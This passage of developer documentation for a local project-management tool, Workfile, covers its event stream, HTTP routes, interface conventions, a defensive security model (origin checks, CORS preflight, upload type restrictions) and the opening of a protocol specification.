/api/v2/events` is a Server-Sent Events stream of workspace changes. ``` event: hello data: {"serverId":"aec9c77abfc871ec","lastEventId":0} id: 1 event: records.changed data: {"epoch":1,"count":1,"paths":[".project/cards/T-0042-example.md"]} ``` | Event | Meaning | | --- | --- | | `hello` | Sent on connect. `serverId` distinguishes a reconnection to the same process from one to a restarted process whose ids began again. | | `records.changed` | Files changed. Carries the paths and the new index `epoch`. | | `activity.changed` | A card write may have changed who is working on what. A separate event so a presence view need not refetch records. | | `sync.reset` | Too many paths at once (a `git checkout`, a release), or the client's `Last-Event-ID` fell off the ring buffer. Refetch rather than applying a delta. | Events are **invalidations, not payloads**: no record body ever travels down the channel. The client fetches what the view it has mounted actually needs. The source is a file watcher over the protocol corpus, so it sees every writer — the CLI, an agent over MCP, git, an editor — not only mutations made through this server. `.project/.cache` is excluded: it holds the locks that churn on every write, the persisted index and agent activity, so watching it would feed back into itself. `EventSource` reconnects on its own and resumes with `Last-Event-ID`. The watcher is a fast path and not the source of truth — `fs.watch` is silent on network filesystems and its queue is bounded — so the index still revalidates against the filesystem. A dropped event costs latency, never correctness. ## Diagnostics `GET /api/v2/metrics` reports request counts per route, p50/p95 latency over the last thousand requests, the index epoch, connected event clients and the watcher's mode. `workfile ui --verbose` (or `PROJECT_LOG=1`) also writes one line per request to stderr, and any 5xx logs its stack — which nothing did before, so an error shown in the interface had no counterpart anywhere to diagnose it from. ## Activity `GET /api/v2/activity` answers who is working on what, combining three signals that already existed and that nothing joined up: - the lock files `withFileLock` writes, which exist exactly as long as a write does — the most precise "right now" the system has; - the durable claims in card frontmatter (`claimed_by`, `claimed_at`, `scope`); - session heartbeats under `.project/.cache/activity/sessions/`. Each claim carries a derived `state`: `live` (a session is signalling), `held`, `stale` (past `cards.claimLeaseHours`) or `orphaned` (a session that stopped signalling). That distinction is the point — a claim from four minutes ago and one from a process that died three days ago looked identical before. `conflicts` lists claims by *different* actors whose scopes overlap. This is the situation claims exist to prevent, and it was computed inside `claimCard` and then thrown away with the response. ## Request guard The server holds unauthenticated read and write access to the repository, so the browser's own origin rules are the entire security model. Every request is checked before routing: | Condition | Response | | --- | --- | | `Host` outside the allowlist, or its port is not the listening port | `403 REQUEST_HOST_FORBIDDEN` | | `Sec-Fetch-Site` present and not `same-origin` / `none` | `403 REQUEST_ORIGIN_FORBIDDEN` | | `Origin` present and outside the allowlist | `403 REQUEST_ORIGIN_FORBIDDEN` | | `POST`/`PUT`/`PATCH`/`DELETE` with a CORS-simple or missing `Content-Type` | `415 REQUEST_CONTENT_TYPE_INVALID` | The allowlist is `127.0.0.1`, `localhost` and `::1`, plus the bind address when `--host` names a specific non-wildcard interface. The last rule matters as much as the others: `text/plain`, `application/x-www-form-urlencoded`, `multipart/form-data` and *no* content type at all are CORS-simple, so a cross-origin page could send them without a preflight. Requiring anything else forces a preflight, which this server never answers. Practical consequence for clients: **mutations must set an explicit `Content-Type`**. Use `application/json` for the JSON API and `application/octet-stream` (or any concrete binary type) for asset uploads. A `fetch` that passes a `File` or an `ArrayBuffer` without setting the header will be refused. Non-browser clients are unaffected — `curl` sends no `Origin` and no `Sec-Fetch-Site`, and its `Host` is the loopback address it dialled. Assets are served with `X-Content-Type-Options: nosniff`, a `default-src 'none'; sandbox` CSP, and `Content-Disposition: attachment` for anything outside a narrow inline allowlist. Uploads of types that can execute script (`.html`, `.svg`, `.mjs`, …) are refused with `400 ASSET_TYPE_NOT_ALLOWED`. ## Workspace and index ```text GET /api/v2/workspace GET /api/v2/schema GET /api/v2/health GET /api/v2/update GET /api/v2/records?q=&kind=&limit=&offset= GET /api/v2/search?q=&kind=&limit=&offset=&mode= GET /api/v2/records/:id ``` `/update` answers whether a newer `@illodev/workfile` is published: `{ status, installed, latest, checkedAt, nextCheckAt, source }` with `status` one of `behind`, `current`, `ahead`, `unknown` (no network, or no version in the answer) or `disabled` (`upgrade.check: false`). It is the one route that can reach outside the machine — a single `GET` to the npm registry, cached for 24 hours under `.project/.cache` — and the footer calls it once per page load. The security model states exactly what is sent. Search responses carry `mode` (`"lexical"`, `"hybrid"` or `"regex"`) and `provider` (the semantic provider's id, else `null`), so a client can show which search actually ran. `/search` consults the semantic provider declared in `project.config.mjs` (when there is one) and returns `mode: "hybrid"` with per-record `semanticScore`; `?mode=lexical` opts out. `/records` is always lexical. A `q` of the full `/pattern/flags` form (flags from `imsu`) runs as a regular expression over id, title and body, bypasses the provider and returns `mode: "regex"`; an invalid pattern is `400 SEARCH_REGEX_INVALID`. ## Work ```text GET/POST /api/v2/cards PATCH /api/v2/cards/:id POST /api/v2/cards/:id/claim POST /api/v2/cards/:id/transition POST /api/v2/cards/:id/archive POST /api/v2/cards/:id/reopen POST /api/v2/cards/bulk ``` `PATCH /api/v2/cards/:id`, `POST /api/v2/cards/:id/transition` and `POST /api/v2/cards/bulk` accept `method`, `run` and `evidence` beside `actor`, `force` and `reason`. They describe the write rather than the card, so they are lifted out of the flat body the same way `force` is, and a client that sends `{"status": "done", "method": "ci", "run": "https://…"}` gets a card whose `verified` block says so. Sending any of them on a write that does not move the card into `done` is `400 CARD_VERIFICATION_NOT_APPLICABLE` rather than a silent drop; `method: "forced"` is `400 CARD_VERIFICATION_METHOD_CONFLICT`, since it is derived from what `force` waived. The legacy `PATCH /api/tasks/:id` accepts the same three. A method the card's area does not accept is `409 CARD_VERIFICATION_METHOD_REFUSED`, and the body's details carry the accepted list. Omitting `method` is not a way around it — a close with none records `local`, which is judged like any other. `GET /api/v2/schema` reports the policy under `cards.verification.methods`, so a client can read it before it writes. `force` with a `reason` waives it, and the card then records `forced`. ## Docs ```text GET/POST /api/v2/docs GET/PATCH /api/v2/docs/:id ``` ## History ```text GET/POST /api/v2/changelog GET/PATCH /api/v2/changelog/:id POST /api/v2/changelog/releases/preview POST /api/v2/changelog/releases GET/POST /api/v2/changelog/render ``` ## Memory ```text GET/POST /api/v2/memory GET/PATCH /api/v2/memory/:id POST /api/v2/memory/:id/graduate POST /api/v2/memory/:id/supersede ``` ## Agents and CI ```text GET /api/v2/agents POST /api/v2/agents/sync GET /api/v2/agents/context?card=T-0001 GET /api/v2/ci POST /api/v2/ci/sync ``` ## MCP inspection ```text GET /api/v2/mcp GET /api/v2/mcp/config ``` ## Legacy routes `/api/tasks`, `/api/health` and `/api/knowledge` remain for existing callers. The packaged UI no longer uses the first two: it boots from `/api/v2/workspace` (identity plus the runtime schema) and reads `/api/v2/cards`, which — unlike `/api/tasks` — honours `q`, `limit`, `offset` and `view`, and carries an ETag. Asset upload is still `POST /api/tasks/:id/assets`; it has no v2 equivalent yet. New integrations should target `/api/v2/*`. --- # The interface The UI is a React application in `ui/`, compiled by Vite into `dist/ui` and served by the same `node:http` server that answers the API. It ships precompiled: `files` publishes `dist`, so nothing the interface is built with reaches a consumer's `node_modules`. ## Zero runtime dependencies is a published guarantee `dependencies` is empty. `@types/node` is an optional peer dependency — unpinned, and never installed for you — because two of the published `.d.ts` files name Node types, and a consumer type-checking them with `skipLibCheck: false` needs them. React, Radix, Tailwind, Lucide and the shadcn tooling are all `devDependencies`. This is enforced, not documented and hoped for. `test/dependencies.test.ts` asserts that `dependencies` is empty and that the only peer is the optional `@types/node`, and also that there are no `optionalDependencies`, `bundleDependencies`, or install hooks that would smuggle a tree in past that check. `test/design-system.test.ts` asserts the empty list a second time, from the other direction. The guard matters because `shadcn add` writes its imports into `dependencies` by default. One un-corrected run would publish Radix, Lucide and CVA into every consumer's install, and nothing about the repository would look wrong. Install what a component needs yourself, with `-D`, before running `add` — then check the test still passes. `pnpm run smoke:package` goes further: it packs the tarball, installs it in a clean consumer, and checks that React is absent from the resulting tree. ## shadcn/ui is the design system The third migration (`ADR-0005`) put shadcn/ui on Tailwind v4 underneath the interface — wholesale, zinc as published, after two reverted attempts taught that adopting a framework means adopting its look. The bespoke stylesheet is gone; `ui/src/styles.css` is now the token bridge: - `@import "tailwindcss"`, the registry's shared utilities from `shadcn/tailwind.css` (scroll-fade and friends), and `typeset.css` — the styling system for rendered Markdown. - The zinc palettes for `:root` and `[data-theme="dark"]`. Themes still switch on the `data-theme` attribute the app stamps; a `@custom-variant` bridges the registry's `dark:` utilities to it. - The three semantic namespaces — `--status-*`, `--priority-*`, `--sev-*` — ported byte-for-byte from the system they outlived. They are the first named exception ADR-0005 allows, applied through the helpers in `ui/src/theme.ts` or the mapped utilities (`text-status-doing`). - `--primary` and `--primary-foreground`, the second and last exception: the landing's brand blue rather than zinc's near-black (`ADR-0009`). Everything that means "the primary action" follows the token, so no component knows about it. - `--row-h`, the single density token: 40px compact by default, 48px under `:root[data-density="comfortable"]`. Tables key their row height off it. - Scrollbars, styled once on `*` in `@layer base` from `--border` and `--muted-foreground`. Declared there rather than as a class because a scroller that forgets the class is exactly the one that looks wrong. `test/design-system.test.ts` enforces the direction: the framework imports must be present, the registry must exist and stay free of application imports, no component may speak the dead bespoke vocabulary or name a colour literal, every `var()` referenced must be declared, and the dark palette must follow `data-theme`. `test/tokens.test.ts` walks the theme blocks with a real parser and fails if the dark palette drops a token the light one declares. ### Where components live - `ui/src/components/ui/` is the registry — generated by `shadcn add` and replaced wholesale on regeneration. Hand-edited only where a comment in the file says why; the control scale below is the one standing amendment. - `ui/src/components/domain/` holds the virtual table, the kanban and the Gantt: Workfile's own decisions about how work is displayed, composed from registry parts. - Everything else in `ui/src/components/` is application glue — the inspector, the editors, the palette, the settings dialog. `RecordDrawer` is the overlay a record is read in, and both the card inspector and the memory record go through it: one drawer, one set of dismissal rules. - `ui/src/lib/utils.ts` carries `cn()`; `ui/src/hooks/` the registry hooks. ### Adding a component ```sh pnpm dlx shadcn@latest add node --test test/dependencies.test.ts # nothing reached dependencies node --test test/design-system.test.ts # registry discipline holds ``` The CLI resolves `@/` from the **root** `tsconfig.json` — its `paths` entry exists solely for this, and removing it makes `shadcn add` write into a literal `@/` directory beside `package.json`. App code resolves the same alias through `ui/tsconfig.json` and the matching `resolve.alias` in `vite.config.mjs`; the two must stay in sync. Note `ui/tsconfig.json` declares `paths` without `baseUrl` — TypeScript 7 removed `baseUrl`, and reintroducing it aborts the whole typecheck with TS5102 before a single file is checked. ### Conventions the framework does not decide - **Native selects in table rows** — never a portal select mid-row. The registry's NativeSelect restyles the real `` the Explorer rows depend on. - **Density is one token.** Components never hardcode a row height; they read `var(--row-h)`. The comfortable/compact switch is the `data-density` attribute on the root element, flipped from the settings dialog alongside the theme. Both are browser preferences the shell owns and persists in `localStorage`; `components/Settings.tsx` renders them and stores nothing, because a theme that needed a dialog mounted to exist would be worse than the two header buttons it replaced. - **Controls share one height scale.** `ui/src/components/ui/control-size.ts` holds four rungs, 4px apart, and `Button`, `Input`, `InputGroup` and `NativeSelect` compose their variants from it — so `size="sm"` is 28px whichever of them you wrote it on, and a toolbar that mixes them cannot sit crooked. `default` is 32px, the second rung from the foot: this is a record tool, and before the scale existed twenty-one hand-written heights had already patched the registry's 36px down, which is exactly how the Memory field ended up one rung taller than the chips beside it. Filter strips ride `sm`; the shell header and the dialogs ride the default; Triage's decision row is the one deliberate `lg`, because it is the only place you sit and hit the same seven buttons card after card. A height class written onto a call site is the bug — `test/control-size.test.ts` fails on any rung height applied to a control, while arbitrary values are left alone, because `h-[22px]` on the Explorer's row select is how a view says "deliberately off the scale" rather than "I could not reach it". This is the one place the registry is deliberately not kept as generated; all four files carry a comment saying so, and the amendment has to be re-applied if `shadcn add` is ever run over them. Sizing is precisely the change you want to take every component at once — the mirror image of the chip's pointer rule below, which is kept *out* of `components/ui/` for the same reason read the other way. - **Colours are tokens.** Status, priority and severity ride the semantic namespaces via `theme.ts`; everything else is a shadcn token utility. A literal colour anywhere in `ui/src` fails the suite — the brand mark in the sidebar strokes `currentColor` for exactly that reason. - **Free text is one control that says what it matches.** Every filter bar renders `ui/src/components/FilterSearch.tsx`, and its two placeholders are the only place the match rule is written down. The record collections search on the server over id, title, metadata and body — the body by whole token, the title by substring — while the card views filter in the browser over identity and metadata, reaching prose only through `body:`. Two corpora, so two sentences, neither promising what the other does. The term rides the address bar like every other filter (`?q=` for cards, `?find=` for docs, history and memory). `test/filter-search.test.ts` fails if a view grows a box of its own or a wording of its own. - **A filter that is not in the URL is a filter that dies on reload.** Every one of them is state the shell owns and `ui/src/query.ts` serialises — the card axes flat (`?status=`, `?area=`, …), the record collections' axes namespaced by view (`?docs-managed=1`, `?history-state=`, `?memory-collection=`, `?memory-status=`). The prefix is a rule and not a case-by-case choice: the obvious name for Memory's is `status`, which the card filter already owns, and the loser of a clash like that filters by nothing without saying so. A record view therefore takes its filters as a prop and reports changes as a patch, so its coupled pairs — picking a Memory collection clears the status that belonged to it — reach the address bar in one write. Same suite: it fails on a view that takes one back into a `useState`, and on a parameter that collides with a card axis. - **A record opened from a list can be read as a sequence.** Every panel that reads a record — the card inspector, the memory panel, the generic record panel, and the readers Docs and History own themselves — renders `ui/src/record-cursor.tsx`, and the rule for where previous and next go is `recordNeighbours` in `navigation.ts`, beside the other navigation rules. The list is whatever the view was showing, in the order it was showing it, so it narrows when the filters do; each view publishes its own as the second argument to `onSelect`. **Absent, not guessed, where there is no list:** a `[[LRN-0004]]` in a body, a `related` row, the command palette, and a node of the Workflow graph all open a record with nothing behind it, and a force layout is not an order. At the ends of a real list the control renders with one half disabled, which is how a reader tells "no next" from "there was never a sequence here". It is a context rather than a prop for the reason `read-only.tsx` gives: the panels sit in three different places, and all three have to reach it. - **The filter bar is one container, and it decides what may scroll away.** `ui/src/components/FilterBar.tsx` owns the whole bar in every view that has one — the shell, Docs, History, Memory, Workflow and the Gantt toolbar — and `FilterChip` and `FilterToggle` are declared there once rather than in each of them. Controls go in the strip, which keeps to a single line and scrolls sideways; the free-text field (`before`) and anything you have to reach in a hurry (`after`, the graph's Fit) stay outside it, because everything in the strip may scroll out of sight. That split is what T-0193 and T-0195 disagreed about: `FilterSearch` is a control the bar positions, not a second container. The bleed classes cancel the bar's own gutter so the strip runs to the screen edge, which is why they are a written-out pair per gutter rather than a computed one — Tailwind reads class names as literals. - **A chip in a strip opens on the click, not on the press.** Radix opens menus from a `pointerdown` handler, so on a phone a drag that started on a chip opened the menu instead of scrolling the strip. `FilterChip` cancels that press for touch and pen — the primitive composes its handler after the one it is passed and skips a default-prevented event — and opens from the `click`, which the browser withholds once the finger has scrolled. A mouse keeps the primitive's behaviour, where press-drag-release onto an item is a real way to use a menu. `touch-action: pan-x` on the scroller was the other candidate and it is neither necessary nor sufficient: measured in Chromium at 390 points with touch emulation, on its own the menu still opened and the strip still did not move. The rule lives in application code, never in `components/ui/` — that file is regenerated, and the change would take every menu in the application with it. `test/filter-bar.test.ts` pins the mechanism; only a browser can prove the behaviour. - **The footer's claim area is one control.** The ledger strip and the compact badge beside the doctor chip are two triggers for the same popover, because the strip is `lg:` only and a narrower window would otherwise have no way in. What the popover says about staleness is `claim.state`, computed on the server from `cards.claimLeaseHours` — the interface never carries a second copy of that threshold, and `RuntimeSchema` deliberately does not publish the number. Its scope overlaps come from `activity.conflicts` (claimed cards, different actors, shared paths), not from `main.tsx`'s `scopeConflicts`, which pairs in-progress cards whether or not anybody claimed them and stays on its own work-view alert. Rows are ordered worst first in the ladder the Overview's verdict sentence already uses, so the two surfaces cannot disagree about which claim matters; `test/claim-ledger.test.ts` pins that order. - **A collapsed rail names itself; an expanded one stays quiet.** `SidebarMenuButton` takes a `tooltip` prop for this and `main.tsx` does not use it. The prop renders the tooltip in both states and only marks it `hidden` while the rail is expanded, and hidden is not unmounted: Radix still opens it on hover, and an open tooltip is a dismissable layer that answers Escape in the capture phase — so a hovered rail would take the key off the shell for no reason the reader can see. `NavTooltip` mounts the content only while the labels are hidden, and keeps the `Tooltip` around the button in both states, because a wrapper that came and went would change the element type at that position and have React rebuild the button underneath, dropping keyboard focus on every toggle. `test/shell.test.ts` holds both halves. - **Escape belongs to the topmost overlay.** The shell's global Escape handler is the floor under the Radix layers and skips a key one of them already consumed (`event.defaultPrevented`). Asking the DOM which dialog is open does not work: the layer that handled the key has already unmounted by the time a bubble-phase listener runs. ## Demo builds `pnpm run build:demo` produces `dist/demo`, a static bundle that replays a snapshot of this repository's own workspace with in-memory mutations. It has no server behind it, so **every view must reach the network through `ui/src/api.ts`**. A component calling `fetch` directly gets a 404 that its own catch swallows, and the feature is simply absent from the hosted demo — which is how the presence strip and the command palette were both silently dead there. `test/demo-parity.test.ts` fails if any view does this. --- # Security model Workfile is a local tool. Its threat model is small but not empty, and the parts that matter are not obvious, so they are written down here. ## What the local server is `workfile ui` starts an HTTP server that has **unauthenticated read and write access to the repository**. There is no login, no token and no per-user permission: if a request reaches the handler, it can read every record body and write every managed file. That is a deliberate trade — it is a developer tool bound to loopback — but it means the browser's own origin rules *are* the security model. Everything below exists to make sure they actually apply. ## Boundaries the server enforces **Origin.** Requests are checked before routing. `Host` must be in the allowlist and its port must match the port actually being listened on; `Sec-Fetch-Site` must be `same-origin` or `none`; `Origin`, when present, must be in the allowlist. See [`http-api.md`](/docs/http-api.md#request-guard) for the exact codes. The `Host` check is not redundant with the `Origin` check. Without it, DNS rebinding puts an attacker's page on the *same* origin as the server, which means it can read responses rather than only writing blind. **Preflight.** Mutating methods must declare a `Content-Type` that is not CORS-simple. `text/plain`, `application/x-www-form-urlencoded`, `multipart/form-data` and *no content type at all* are simple: a cross-origin page can send them without a preflight, and the browser only hides the response. Requiring anything else forces a preflight, which this server never answers. **Path containment.** Every repository-relative path resolves through `containedPath`, which is the single containment criterion for configured paths, asset names and document scopes. Asset names are reduced to a `basename` and stripped of separators. **Read-only workspaces.** `ensureWritable` lives in `src/core/guards.ts` and is called from the mutation layer of every module plus the three surface-level write paths (agent instructions, CI templates, asset uploads). It is one function on purpose: while it was four private copies, the three paths that never got one silently ignored `readOnly`. **Body limits.** JSON bodies are capped at 1 MiB and asset uploads at 25 MiB. Individual record files are rejected above `docs.maxFileBytes` before being read. ## Uploaded assets Assets attached to cards are repository content supplied by whoever can reach the server, and they are served from the same origin as the API. Two rules keep them inert: - Only a narrow allowlist (`png`, `jpg`, `jpeg`, `gif`, `webp`, `pdf`, `txt`, `md`, `csv`) is served inline. Everything else is `application/octet-stream` with `Content-Disposition: attachment`. - Types that can execute script — `.html`, `.htm`, `.xhtml`, `.xml`, `.svg`, `.js`, `.mjs`, `.cjs`, `.wasm` — are refused **at upload time** with `ASSET_TYPE_NOT_ALLOWED`, not merely at serve time. Blocking them at rest means a future change to the serving rules cannot resurrect the vector on files already on disk. Responses carry `X-Content-Type-Options: nosniff` and a `default-src 'none'; sandbox` content security policy. `image/svg+xml` is excluded on purpose even though SVG is an image: it executes script. ## Rendering repository content The UI renders Markdown bodies into React elements and never uses `dangerouslySetInnerHTML`. Combined with React's own `href` sanitisation, there is no XSS vector from record content. **This property is load-bearing.** Any future editor or renderer must keep generating elements rather than raw HTML. Introducing a Markdown pipeline that emits an HTML string would reopen a hole that is currently closed. ## Binding to a non-loopback address `workfile ui --host` accepts an address other than loopback. Doing so exposes unauthenticated read and write access to the repository to everyone who can reach that interface. The bind address is added to the `Host` allowlist so the server is usable, but no authentication is added — because there is none to add. Treat `--host` as equivalent to publishing the repository, and prefer an SSH tunnel. A wildcard bind (`--host 0.0.0.0`, which is what serving from a container needs) contributes nothing to the allowlist, so the board also needs `--allowed-host` to name the address people will reach it by. Both flags are about reachability; neither adds authentication. ## Publishing a board people only read `workfile ui --read-only` loads the workspace read-only, so every mutating route answers `409 WORKSPACE_READ_ONLY` — the same `ensureWritable` guard the MCP server uses, applied in the one place all writes pass through, not per route. The UI reads the flag and stands its editing affordances down. This narrows what a reader can do; it does not decide who the readers are. A published board still serves every card, document, changelog fragment and memory record to anyone who can reach it, so put something that authenticates in front of it — the deployment shape this was built for is a reverse proxy with HTTP basic auth, with the board itself on an internal network. ## The one outbound request Nothing in this package reaches the network, with one exception stated here so it can be judged rather than discovered. `workfile upgrade` and the interface's footer ask the npm registry whether a newer `@illodev/workfile` is published: - **What is sent.** One `GET` to `/@illodev%2Fworkfile/latest` with `accept: application/json`, no body, and no header beyond what Node's `fetch` adds on its own — measured against a local registry: `user-agent: node` and nothing else. Nothing names the workspace, the repository or the machine. - **To whom.** `npm_config_registry` when npm has set it — a mirror or a corporate proxy — and `https://registry.npmjs.org` otherwise. - **When.** At most once a day: the answer is cached in `.project/.cache/update-check.json` (gitignored) and a failed attempt for an hour, so an offline machine pays the three-second timeout once, not per command. `doctor`, the generated CI and every other command never ask. - **Off.** `upgrade: { check: false }` in `project.config.mjs` removes the request; it does not hide the message. The MCP server's promise that no repository data leaves the machine holds either way, because none is sent. ## What is deliberately out of scope - **Multi-user authorisation.** There are no accounts and no roles. A workspace is trusted as a whole. - **Protecting the repository from its own agents.** An agent with shell access can edit `.project/` directly. Claims and scopes are coordination, not security. - **Secrets in records.** Nothing encrypts record bodies. Markdown in `.project/` is as public as the repository it lives in. ## Reporting Please report suspected vulnerabilities privately through the repository's security advisory form rather than a public issue. --- # Spec — Repository Workfile > **Status: v2.0 RC2 — MCP INTEGRATION CONTRACT — 2026-07-28** > > Product name: **Workfile** > Package name: `@illodev/workfile` > CLI name: `workfile` (alias `wf`; the MCP server is `workfile-mcp`) > Default storage root: `.project/` > > This document defines a portable, repository-native operating protocol for project work, > documentation, change history and durable workfile memory. It is intended for humans and > software agents working in the same codebase. > > The names above are placeholders. Renaming the product or package must not change the data > model or the protocol. ## 1. Purpose Projects accumulate operational knowledge in several incompatible places: - pending work in issue trackers, planning documents, comments and agent summaries; - documentation spread across READMEs, architecture notes and product specifications; - changes recorded inconsistently in commits, release notes and changelog files; - decisions, incidents and lessons retained only in conversations or individual memory. This fragmentation causes two recurring failures: 1. Humans cannot obtain a reliable view of what the project knows, what it plans to do and why previous decisions were made. 2. Agents repeatedly rediscover context, produce duplicate work, overwrite each other or finish a session without persisting newly discovered knowledge. The Repository Workfile solves this by defining a versioned, local-first standard whose canonical records live inside the repository as reviewable text files. The protocol covers four first-class domains: 1. **Work** — cards representing ideas, tasks, bugs, features and execution hierarchy. 2. **Docs** — discoverable project documentation, whether managed or merely indexed. 3. **History** — structured change fragments and generated release changelogs. 4. **Memory** — durable decisions, learnings, incidents, conventions and temporary context. A local UI, CLI and agent integrations operate over the same data model. None of them owns exclusive state. ## 2. Goals The standard MUST: - keep the repository as the source of truth; - remain useful without a hosted service; - work in single repositories and monorepos; - be readable and editable without the official UI; - provide deterministic parsing and serialization for agents; - support thousands of records without hiding work in long documents; - expose one shared model to CLI, UI, CI and agent tools; - support configuration without making every project semantically incompatible; - preserve history through Git instead of replacing it; - detect invalid, contradictory or stale project state; - permit gradual adoption by existing projects; - version the data contract and provide migrations; - avoid coupling the protocol to a particular AI vendor, IDE or issue tracker. ## 3. Non-goals Version 2 does not aim to be: - a general-purpose team chat system; - a replacement for Git; - a hosted multi-tenant project-management SaaS; - a real-time distributed lock manager; - a full sprint, payroll or time-tracking product; - an automatic truth engine that rewrites documentation based on source code; - a vector database committed to the repository; - an unrestricted plugin marketplace; - a replacement for external issue trackers where an organization requires one. External systems MAY be integrated through adapters, but the core standard remains usable without them. ## 4. Design principles ### 4.1 Repository-native Canonical records are ordinary files committed to Git. A clone of the repository contains all durable protocol data needed to understand the project. ### 4.2 Text is canonical; indexes are disposable Markdown and configuration files are authoritative. SQLite, search indexes, embeddings and other caches are derived state and MUST be rebuildable. ### 4.3 One fact, one owner The same fact SHOULD NOT be duplicated across paths, filenames, frontmatter and generated indexes. References are preferred over copied state. Examples: - hierarchy uses `parent:` rather than nested task folders; - attachments are discovered by record ID rather than duplicated in frontmatter; - generated changelogs consume fragments rather than becoming a second editable source; - collection labels come from configuration rather than being copied into each document. ### 4.4 Deterministic agent writes An agent must be able to create or mutate a record without guessing formatting conventions. The official core MUST provide stable parsing, serialization, ID allocation and validation. ### 4.5 Human-editable escape hatch The CLI and UI are preferred mutation paths, but direct file editing remains supported. `workfile doctor` is the reconciliation mechanism after manual edits. ### 4.6 Progressive enhancement A project MAY adopt only cards first, then documentation, history and memory later. Missing modules MUST NOT make the installed modules unusable. ### 4.7 Portable semantics, configurable vocabulary Core behavior is standardized. Projects may configure bounded vocabularies such as areas, labels and memory collections, but MUST NOT redefine fundamental semantics such as the meaning of a closed card or the identity of a record. ### 4.8 Local by default The server binds to loopback by default, performs no telemetry by default and sends no repository data to an external service unless the user explicitly configures an adapter. ## 5. Terminology | Term | Meaning | | --- | --- | | **Workspace** | A repository root governed by one `project.config.mjs`. | | **Protocol root** | Directory containing managed protocol records, `.project/` by default. | | **Module** | A first-class domain: cards, docs, changelog, memory or health. | | **Record** | A stable identifiable unit represented by a file. | | **Collection** | A configured group of records sharing a parser and semantics. | | **Managed document** | A document created and mutated by the protocol. | | **Indexed document** | An existing repository document discovered by the protocol but not owned by it. | | **Source** | A long-form or external-origin document from which operational records were derived. | | **Derived index** | Rebuildable search and relationship data stored outside canonical files. | | **Agent adapter** | Generated instructions or tooling for a particular assistant or IDE. | | **Schema version** | Version of the canonical on-disk protocol contract. | ## 6. Distribution architecture ### 6.1 Initial packaging decision The repository is a pnpm workspace with a private root; the published surface is one core npm package plus optional provider packages (for example `@illodev/workfile-search-local`) released in version lockstep with it. Repository layout and npm packaging are independent decisions — the core SHOULD keep shipping as one npm package with strong internal module boundaries: ```text @illodev/workfile ├── bin/ # project executable ├── core/ # public programmatic API ├── modules/ │ ├── cards/ │ ├── docs/ │ ├── changelog/ │ ├── memory/ │ └── health/ ├── server/ # local HTTP API ├── ui/ # precompiled static application ├── agents/ # instruction generators └── migrations/ # schema and legacy migrations ``` Reasons for a single core package: - installation and version alignment remain simple; - the existing implementation is already one vertical application; - UI, server and core can evolve atomically while contracts stabilize; - splitting the core would create release and compatibility overhead before independent consumers exist. Provider packages are the exception, not a split: they carry heavy optional dependencies (an inference runtime) that must never reach consumers who did not opt in. The source code MUST still enforce boundaries that allow later extraction. ### 6.2 Future package split The following split MAY occur after at least two independent consumers require it: ```text @illodev/workfile-core @illodev/workfile-cli @illodev/workfile-ui @illodev/workfile-mcp @illodev/workfile ``` The metapackage would preserve the same `workfile` command and configuration contract. ### 6.3 Runtime requirements - Node.js: current active LTS and later. - Package managers: npm, pnpm, Yarn and Bun projects are supported. - The distributed UI MUST be precompiled; consuming projects do not require Vite or React. - The package MUST not modify application dependencies unless explicitly requested. - The CLI MUST work through `npx`, `pnpm dlx`, `yarn dlx` and `bunx` where supported. ## 7. Workspace discovery The CLI discovers a workspace using this order: 1. Explicit `--root `. 2. Nearest ancestor containing `project.config.mjs`. 3. Nearest ancestor containing `.project/VERSION`. 4. Current Git worktree root. 5. Current working directory. Every command MUST print the resolved workspace root when `--verbose` is given. It goes to stderr, so a `--json` consumer is unaffected and the answer still reaches a human watching the run. `workfile ui` also prints it unconditionally as part of its startup banner, and `--verbose` additionally turns on request logging there. A workspace is loaded through one function: ```ts interface LoadWorkspaceOptions { cwd?: string; configPath?: string; readOnly?: boolean; } async function loadWorkspace( options?: LoadWorkspaceOptions ): Promise; ``` Every CLI command, HTTP route, UI request and future MCP tool MUST use the same workspace loader. No module may infer repository-relative paths from its own installed package path. ## 8. Configuration ### 8.1 Canonical file The canonical configuration file is `project.config.mjs` at the workspace root. ```js import { defineProject } from "@illodev/workfile"; export default defineProject({ schemaVersion: 2, name: "Example project", storage: { root: ".project", cache: ".project/.cache" }, cards: { enabled: true, path: ".project/cards", archivePath: ".project/cards/archive", assetsPath: ".project/assets", idPrefix: "T", maxHierarchyDepth: 2, claimLeaseHours: 24, areas: ["api", "web", "infra", "docs"], axes: { context: ["treasury", "verifactu", "billing", "iam"] }, tags: [] }, docs: { enabled: true, managedPath: ".project/docs", layout: "kind", sources: [ "README.md", "docs/**/*.md", "apps/*/README.md", ".project/specs/**/*.md" ], exclude: ["**/node_modules/**", "**/vendor/**"] }, changelog: { enabled: true, fragmentsPath: ".project/changelog/unreleased", releasesPath: ".project/changelog/releases", output: "CHANGELOG.md" }, memory: { enabled: true, path: ".project/memory", collections: [ "learnings", "decisions", "incidents", "conventions", "context" ] }, agents: { canonicalInstructions: ".project/agents/protocol.md", targets: ["agents-md", "claude", "cursor", "copilot"] }, ui: { host: "127.0.0.1", port: 4747, open: true } }); ``` ### 8.2 Configuration rules - `schemaVersion` is required. - All paths are repository-relative and MUST resolve inside the workspace unless a specific read-only external source adapter permits otherwise. - The config module MUST be loaded without transpilation. - Unknown top-level keys produce a warning in development and an error in strict CI mode. - Environment variables MAY override runtime settings such as host and port, but MUST NOT silently alter canonical storage paths. - Functions in configuration are permitted only through documented extension points. - Secrets MUST NOT be stored in `project.config.mjs`; adapters use environment variables or external secret stores. ### 8.3 Stable and configurable vocabularies The following are protocol-defined and stable in schema version 2: - card statuses; - base card types; - priority semantics; - relationship fields; - core memory kinds; - changelog fragment types; - record identity and date formats. The following are project-configurable: - areas; - additional classification axes (`cards.axes`); - the commands a card may name and the verification methods each area accepts at `done` (`cards.verification`); - optional custom tags; - source globs; - enabled memory collections; - UI preferences; - agent adapter targets; - additional validation rules. Projects MAY add custom card types or memory collections through namespaced extensions, but portable tools are required to treat unknown namespaced values as generic records rather than failing to load the workspace. ## 9. Canonical folder layout ```text project.config.mjs .project/ ├── VERSION ├── cards/ │ ├── T-0001-example.md │ └── archive/ ├── assets/ │ └── T-0001/ ├── docs/ # optional managed documents ├── changelog/ │ ├── unreleased/ │ └── releases/ ├── memory/ │ ├── learnings/ │ ├── decisions/ │ ├── incidents/ │ ├── conventions/ │ └── context/ ├── specs/ ├── sources/ # optional raw inputs, created on first use ├── agents/ │ ├── protocol.md │ └── workflows/ └── .cache/ # gitignored, fully rebuildable ``` Rules: - `.project/VERSION` contains the schema version and MAY contain migration metadata. - Canonical record folders are committed to Git. - 